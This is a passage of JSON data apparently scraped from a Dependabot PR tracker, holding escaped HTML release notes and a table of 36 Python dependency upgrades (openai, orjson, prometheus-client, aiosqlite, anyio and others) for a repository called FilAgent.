Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e allow pyright to infer TypedDict types within SequenceNotStr (\u003ca href=\"https://github.com/openai/openai-python/commit/8f0d23066c1edc38a6e9858b054dceaf92ae001b\"\u003e8f0d230\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd missing docstrings (\u003ca href=\"https://github.com/openai/openai-python/commit/f20a9a18a421ba69622c77ab539509d218e774eb\"\u003ef20a9a1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e update docstring (\u003ca href=\"https://github.com/openai/openai-python/commit/9a993f2261b6524aa30b955e006c7ea89f086968\"\u003e9a993f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.9.0 (2025-12-04)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ev2.8.1...v2.9.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt-5.1-codex-max and responses/compact (\u003ca href=\"https://github.com/openai/openai-python/commit/22f646e985b7c93782cf695edbe643844cae7017\"\u003e22f646e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e avoid mutating user-provided response config object (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2700\"\u003e#2700\u003c/a\u003e) (\u003ca href=\"https://github.com/openai/openai-python/commit/e040d22c2df068e908f69dc6b892e7f8b3fe6e99\"\u003ee040d22\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eensure streams are always closed (\u003ca href=\"https://github.com/openai/openai-python/commit/0b1a27f08639d14dfe40bf80b48e2b8a1a51593c\"\u003e0b1a27f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e correct indentation (\u003ca href=\"https://github.com/openai/openai-python/commit/575bbac13b3a57731a4e07b67636ae94463d43fa\"\u003e575bbac\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e mypy 1.18.1 has a regression, pin to 1.17 (\u003ca href=\"https://github.com/openai/openai-python/commit/22cd586dbd5484b47f625da55db697691116b22b\"\u003e22cd586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e use environment variables for authentication in code snippets (\u003ca href=\"https://github.com/openai/openai-python/commit/c2a3cd502bfb03f68f62f50aed15a40458c0996e\"\u003ec2a3cd5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e codegen related update (\u003ca href=\"https://github.com/openai/openai-python/commit/307a0664383b9d1d4151bc1a05a78c4fdcdcc9b0\"\u003e307a066\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate lockfile (\u003ca href=\"https://github.com/openai/openai-python/commit/b4109c5fcf971ccfb25b4bdaef0bf36999f9eca5\"\u003eb4109c5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/43e324ed7a8a8b6f0738254c59d732be2807a06f\"\u003e\u003ccode\u003e43e324e\u003c/code\u003e\u003c/a\u003e release: 2.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/752a293da54c72c248afee310fc7cc1324debc1d\"\u003e\u003ccode\u003e752a293\u003c/code\u003e\u003c/a\u003e feat(api): gpt 5.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/ef00216846515033e4cf73ab3227e91386d958ba\"\u003e\u003ccode\u003eef00216\u003c/code\u003e\u003c/a\u003e release: 2.10.0 (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2767\"\u003e#2767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/dc7602151b9042891ccd5042c7be3881337368e5\"\u003e\u003ccode\u003edc76021\u003c/code\u003e\u003c/a\u003e release: 2.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/f45b3c3bcd7d3d40898230b8d592408bb208268a\"\u003e\u003ccode\u003ef45b3c3\u003c/code\u003e\u003c/a\u003e fix bad merge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/96b9e700cef2ea78d7fb37b9a469af5af152279b\"\u003e\u003ccode\u003e96b9e70\u003c/code\u003e\u003c/a\u003e manually readd\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/61841f4a18d5739ee84c9c6d1aba473e05bf1bc1\"\u003e\u003ccode\u003e61841f4\u003c/code\u003e\u003c/a\u003e fix import\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/1039d5637779e035263019a687b562d3ab5d2c1a\"\u003e\u003ccode\u003e1039d56\u003c/code\u003e\u003c/a\u003e feat(api): gpt-5.1-codex-max and responses/compact\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/bd988473f60e28c1ea13c9cc26d6e0b063df02b8\"\u003e\u003ccode\u003ebd98847\u003c/code\u003e\u003c/a\u003e chore(docs): use environment variables for authentication in code snippets\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/abc2596652b23318b8b5e7388b7d66fc161f817f\"\u003e\u003ccode\u003eabc2596\u003c/code\u003e\u003c/a\u003e fix(streaming): correct indentation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.11.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `orjson` from 3.11.4 to 3.11.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ijl/orjson/releases\"\u003eorjson's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.11.5\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow simple error message instead of traceback when attempting to\nbuild on unsupported Python versions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ijl/orjson/blob/master/CHANGELOG.md\"\u003eorjson's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.11.5 - 2025-12-06\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow simple error message instead of traceback when attempting to\nbuild on unsupported Python versions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/fb3eb1f729c7e7b019f780af5695722c99c7c695\"\u003e\u003ccode\u003efb3eb1f\u003c/code\u003e\u003c/a\u003e 3.11.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/52688e02c51c845cde24a46cd1011a6010d10eb8\"\u003e\u003ccode\u003e52688e0\u003c/code\u003e\u003c/a\u003e Record contributors in headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/dc083e87d5262e7dde3ba4b1d2a377b5b065a27c\"\u003e\u003ccode\u003edc083e8\u003c/code\u003e\u003c/a\u003e Further compatibility and build misc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/18f0186d47fbadd53c9db4e39a442d5b04225418\"\u003e\u003ccode\u003e18f0186\u003c/code\u003e\u003c/a\u003e Compatibility and build misc\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ijl/orjson/compare/3.11.4...3.11.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prometheus-client` from 0.20.0 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prometheus/client_python/releases\"\u003eprometheus-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use tuples instead of packaging Version by \u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUTF-8 Content Negotiation by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheu...\n\n_Description has been truncated_","html_url":"https://github.com/fil04331/FilAgent/pull/216","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fil04331%2FFilAgent/issues/216","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/216/packages"},{"uuid":"3706467161","node_id":"PR_kwDOQJdjYc63ry9-","number":213,"state":"open","title":"chore(deps): Bump the python-minor group across 1 directory with 36 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-12-08T13:44:06.000Z","updated_at":"2025-12-11T23:00:21.764Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","group_name":"python-minor","update_count":36,"packages":[{"name":"aiosqlite","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/omnilib/aiosqlite"},{"name":"anyio","old_version":"4.11.0","new_version":"4.12.0","repository_url":"https://github.com/agronholm/anyio"},{"name":"exceptiongroup","old_version":"1.3.0","new_version":"1.3.1","repository_url":"https://github.com/agronholm/exceptiongroup"},{"name":"fastapi","old_version":"0.121.2","new_version":"0.124.0","repository_url":"https://github.com/fastapi/fastapi"},{"name":"fsspec","old_version":"2025.10.0","new_version":"2025.12.0"},{"name":"gradio","old_version":"5.49.1","new_version":"5.50.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"gradio-client","old_version":"1.13.3","new_version":"1.14.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"huggingface-hub","old_version":"1.1.4","new_version":"1.2.1","repository_url":"https://github.com/huggingface/huggingface_hub"},{"name":"hypothesis","old_version":"6.148.1","new_version":"6.148.7","repository_url":"https://github.com/HypothesisWorks/hypothesis"},{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"openai","old_version":"2.8.1","new_version":"2.9.0","repository_url":"https://github.com/openai/openai-python"},{"name":"orjson","old_version":"3.11.4","new_version":"3.11.5","repository_url":"https://github.com/ijl/orjson"},{"name":"prometheus-client","old_version":"0.20.0","new_version":"0.23.1","repository_url":"https://github.com/prometheus/client_python"},{"name":"pydantic","old_version":"2.11.10","new_version":"2.12.5","repository_url":"https://github.com/pydantic/pydantic"},{"name":"pydantic-core","old_version":"2.33.2","new_version":"2.41.5","repository_url":"https://github.com/pydantic/pydantic-core"},{"name":"pytest-subtests","old_version":"0.14.2","new_version":"0.15.0","repository_url":"https://github.com/pytest-dev/pytest-subtests"},{"name":"referencing","old_version":"0.36.2","new_version":"0.37.0","repository_url":"https://github.com/python-jsonschema/referencing"},{"name":"rpds-py","old_version":"0.29.0","new_version":"0.30.0","repository_url":"https://github.com/crate-py/rpds"},{"name":"ruff","old_version":"0.14.5","new_version":"0.14.8","repository_url":"https://github.com/astral-sh/ruff"},{"name":"starlette","old_version":"0.49.3","new_version":"0.50.0","repository_url":"https://github.com/Kludex/starlette"},{"name":"urllib3","old_version":"2.5.0","new_version":"2.6.0","repository_url":"https://github.com/urllib3/urllib3"},{"name":"werkzeug","old_version":"3.1.3","new_version":"3.1.4","repository_url":"https://github.com/pallets/werkzeug"},{"name":"bandit","old_version":"1.9.1","new_version":"1.9.2","repository_url":"https://github.com/PyCQA/bandit"},{"name":"black","old_version":"25.11.0","new_version":"25.12.0","repository_url":"https://github.com/psf/black"},{"name":"cfgv","old_version":"3.4.0","new_version":"3.5.0","repository_url":"https://github.com/asottile/cfgv"},{"name":"coverage","old_version":"7.12.0","new_version":"7.13.0"},{"name":"marshmallow","old_version":"4.1.0","new_version":"4.1.1","repository_url":"https://github.com/marshmallow-code/marshmallow"},{"name":"mypy","old_version":"1.18.2","new_version":"1.19.0","repository_url":"https://github.com/python/mypy"},{"name":"packageurl-python","old_version":"0.17.5","new_version":"0.17.6","repository_url":"https://github.com/package-url/packageurl-python"},{"name":"pip-audit","old_version":"2.9.0","new_version":"2.10.0","repository_url":"https://github.com/pypa/pip-audit"},{"name":"platformdirs","old_version":"4.5.0","new_version":"4.5.1","repository_url":"https://github.com/tox-dev/platformdirs"},{"name":"pylint","old_version":"4.0.3","new_version":"4.0.4","repository_url":"https://github.com/pylint-dev/pylint"},{"name":"pymdown-extensions","old_version":"10.17.1","new_version":"10.18","repository_url":"https://github.com/facelessuser/pymdown-extensions"},{"name":"pytest-asyncio","old_version":"0.24.0","new_version":"0.26.0","repository_url":"https://github.com/pytest-dev/pytest-asyncio"},{"name":"safety-schemas","old_version":"0.0.16","new_version":"0.0.17","repository_url":"https://github.com/pyupio/safety_schemas"},{"name":"stevedore","old_version":"5.5.0","new_version":"5.6.0"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor group with 36 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [aiosqlite](https://github.com/omnilib/aiosqlite) | `0.20.0` | `0.21.0` |\n| [anyio](https://github.com/agronholm/anyio) | `4.11.0` | `4.12.0` |\n| [exceptiongroup](https://github.com/agronholm/exceptiongroup) | `1.3.0` | `1.3.1` |\n| [fastapi](https://github.com/fastapi/fastapi) | `0.121.2` | `0.124.0` |\n| [fsspec[http]](https://github.com/fsspec/filesystem_spec) | `2025.10.0` | `2025.12.0` |\n| [gradio](https://github.com/gradio-app/gradio) | `5.49.1` | `5.50.0` |\n| [gradio-client](https://github.com/gradio-app/gradio) | `1.13.3` | `1.14.0` |\n| [huggingface-hub](https://github.com/huggingface/huggingface_hub) | `1.1.4` | `1.2.1` |\n| [hypothesis](https://github.com/HypothesisWorks/hypothesis) | `6.148.1` | `6.148.7` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.2.90` | `0.3.16` |\n| [openai](https://github.com/openai/openai-python) | `2.8.1` | `2.9.0` |\n| [orjson](https://github.com/ijl/orjson) | `3.11.4` | `3.11.5` |\n| [prometheus-client](https://github.com/prometheus/client_python) | `0.20.0` | `0.23.1` |\n| [pydantic](https://github.com/pydantic/pydantic) | `2.11.10` | `2.12.5` |\n| [pydantic-core](https://github.com/pydantic/pydantic-core) | `2.33.2` | `2.41.5` |\n| [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) | `0.14.2` | `0.15.0` |\n| [referencing](https://github.com/python-jsonschema/referencing) | `0.36.2` | `0.37.0` |\n| [rpds-py](https://github.com/crate-py/rpds) | `0.29.0` | `0.30.0` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.14.5` | `0.14.8` |\n| [starlette](https://github.com/Kludex/starlette) | `0.49.3` | `0.50.0` |\n| [urllib3](https://github.com/urllib3/urllib3) | `2.5.0` | `2.6.0` |\n| [werkzeug](https://github.com/pallets/werkzeug) | `3.1.3` | `3.1.4` |\n| [bandit](https://github.com/PyCQA/bandit) | `1.9.1` | `1.9.2` |\n| [black](https://github.com/psf/black) | `25.11.0` | `25.12.0` |\n| [cfgv](https://github.com/asottile/cfgv) | `3.4.0` | `3.5.0` |\n| [coverage[toml]](https://github.com/coveragepy/coveragepy) | `7.12.0` | `7.13.0` |\n| [marshmallow](https://github.com/marshmallow-code/marshmallow) | `4.1.0` | `4.1.1` |\n| [mypy](https://github.com/python/mypy) | `1.18.2` | `1.19.0` |\n| [packageurl-python](https://github.com/package-url/packageurl-python) | `0.17.5` | `0.17.6` |\n| [pip-audit](https://github.com/pypa/pip-audit) | `2.9.0` | `2.10.0` |\n| [platformdirs](https://github.com/tox-dev/platformdirs) | `4.5.0` | `4.5.1` |\n| [pylint](https://github.com/pylint-dev/pylint) | `4.0.3` | `4.0.4` |\n| [pymdown-extensions](https://github.com/facelessuser/pymdown-extensions) | `10.17.1` | `10.18` |\n| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | `0.24.0` | `0.26.0` |\n| [safety-schemas](https://github.com/pyupio/safety_schemas) | `0.0.16` | `0.0.17` |\n| [stevedore](https://docs.openstack.org/stevedore) | `5.5.0` | `5.6.0` |\n\n\nUpdates `aiosqlite` from 0.20.0 to 0.21.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/omnilib/aiosqlite/blob/main/CHANGELOG.md\"\u003eaiosqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.21.0\u003c/h2\u003e\n\u003cp\u003eMaintenance release\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix: close connection correctly when BaseException raised in connection (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMetadata improvements\u003c/li\u003e\n\u003cli\u003eTested and supported on Python 3.13\u003c/li\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003cli\u003eDrop testing on PyPy\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"text\"\u003e\u003ccode\u003e$ git shortlog -s v0.20.0...v0.21.0\n     6\tAmethyst Reese\n     1\tGabriel\n     1\tStanley Kudrow\n    11\tdependabot[bot]\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/82eb2d2b05c257e247acba561b2548cca7fa365a\"\u003e\u003ccode\u003e82eb2d2\u003c/code\u003e\u003c/a\u003e Version bump v0.21.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/3a6bd1f71fb238790f3bdd4637700cce14c4390a\"\u003e\u003ccode\u003e3a6bd1f\u003c/code\u003e\u003c/a\u003e Update copyright headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/ca481c66044e4229250b609874e0fbed805232b1\"\u003e\u003ccode\u003eca481c6\u003c/code\u003e\u003c/a\u003e Drop Python 3.8, set Python3.9 as the minimum version. (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/313\"\u003e#313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/883695fc6d59c5fbdfd8f97a329f98356c39a2cd\"\u003e\u003ccode\u003e883695f\u003c/code\u003e\u003c/a\u003e fix: close connection thread properly if BaseException raised in connect step...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/5391d28ac99cf7bde07ebd923f747d2142726206\"\u003e\u003ccode\u003e5391d28\u003c/code\u003e\u003c/a\u003e Bump mypy from 1.9.0 to 1.14.1 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/323\"\u003e#323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c8194e89b45ef5b1b4c9a29d8bc1bccc19d4e149\"\u003e\u003ccode\u003ec8194e8\u003c/code\u003e\u003c/a\u003e Drop testing compat with pypy (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/326\"\u003e#326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c34bcdaf674eaa137339dbb38a3a476ad2a101d5\"\u003e\u003ccode\u003ec34bcda\u003c/code\u003e\u003c/a\u003e Bump sphinx from 7.2.6 to 8.1.3 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/324\"\u003e#324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/a8a7084d2130063f459ffc622a6f3e7b3deb62ea\"\u003e\u003ccode\u003ea8a7084\u003c/code\u003e\u003c/a\u003e Bump flake8-bugbear from 24.2.6 to 24.12.12 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/321\"\u003e#321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/8a95cd3843f8ccd40d2018cd88a7454fb94f8a57\"\u003e\u003ccode\u003e8a95cd3\u003c/code\u003e\u003c/a\u003e Testing improvements (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/320\"\u003e#320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/b5ddd856b7db08a4296088626350a493bbdd0b60\"\u003e\u003ccode\u003eb5ddd85\u003c/code\u003e\u003c/a\u003e Bump coverage[toml] from 7.4.4 to 7.6.10 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/325\"\u003e#325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/omnilib/aiosqlite/compare/v0.20.0...v0.21.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `anyio` from 4.11.0 to 4.12.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/anyio/releases\"\u003eanyio's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.12.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for asyncio's \u003ca href=\"https://docs.python.org/3/library/asyncio-graph.html\"\u003etask call graphs\u003c/a\u003e on Python 3.14 and later when using AnyIO's task groups (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1025\"\u003e#1025\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded an asynchronous implementation of the \u003ccode\u003efunctools\u003c/code\u003e module (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1001\"\u003e#1001\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded support for \u003ccode\u003euvloop=True\u003c/code\u003e on Windows via the \u003ca href=\"https://github.com/Vizonex/Winloop\"\u003ewinloop\u003c/a\u003e implementation (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/960\"\u003e#960\u003c/a\u003e; PR by \u003ca href=\"https://github.com/Vizonex\"\u003e\u003ccode\u003e@​Vizonex\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded support for use as a context manager to \u003ccode\u003eanyio.lowlevel.RunVar\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1003\"\u003e#1003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003e__all__\u003c/code\u003e declarations to public submodules (\u003ccode\u003eanyio.lowlevel\u003c/code\u003e etc.) (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1009\"\u003e#1009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded the ability to set the token count of a \u003ccode\u003eCapacityLimiter\u003c/code\u003e to zero (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1019\"\u003e#1019\u003c/a\u003e; requires Python 3.10 or later when using Trio)\u003c/li\u003e\n\u003cli\u003eAdded parameters \u003ccode\u003ecase_sensitive\u003c/code\u003e and \u003ccode\u003erecurse_symlinks\u003c/code\u003e along with support for path-like objects to \u003ccode\u003eanyio.Path.glob()\u003c/code\u003e and \u003ccode\u003eanyio.Path.rglob()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1033\"\u003e#1033\u003c/a\u003e; PR by \u003ca href=\"https://github.com/northisup\"\u003e\u003ccode\u003e@​northisup\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDropped \u003ccode\u003esniffio\u003c/code\u003e as a direct dependency and added the \u003ccode\u003eget_available_backends()\u003c/code\u003e function (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1021\"\u003e#1021\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcess.stdin.send()\u003c/code\u003e not raising \u003ccode\u003eClosedResourceError\u003c/code\u003e and \u003ccode\u003eBrokenResourceError\u003c/code\u003e on asyncio. Previously, a non-AnyIO exception was raised in such cases (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/671\"\u003e#671\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcess.stdin.send()\u003c/code\u003e not checkpointing before writing data on asyncio (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1002\"\u003e#1002\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a race condition where cancelling a \u003ccode\u003eFuture\u003c/code\u003e from \u003ccode\u003eBlockingPortal.start_task_soon()\u003c/code\u003e would sometimes not cancel the async function (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1011\"\u003e#1011\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed the presence of the pytest plugin causing breakage with older versions of pytest (\u0026lt;= 6.1.2) (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1028\"\u003e#1028\u003c/a\u003e; PR by \u003ca href=\"https://github.com/saper\"\u003e\u003ccode\u003e@​saper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a rarely occurring \u003ccode\u003eRuntimeError: Set changed size during iteration\u003c/code\u003e while shutting down the process pool when using the asyncio backend (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/985\"\u003e#985\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/bc021b634291223d6829c0a689152173443a8545\"\u003e\u003ccode\u003ebc021b6\u003c/code\u003e\u003c/a\u003e Fixed the download-artifact settings to retain the expected behavior\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/c6000aa2837f75733f3c09c454f5a31eb9f9f536\"\u003e\u003ccode\u003ec6000aa\u003c/code\u003e\u003c/a\u003e Corrected the 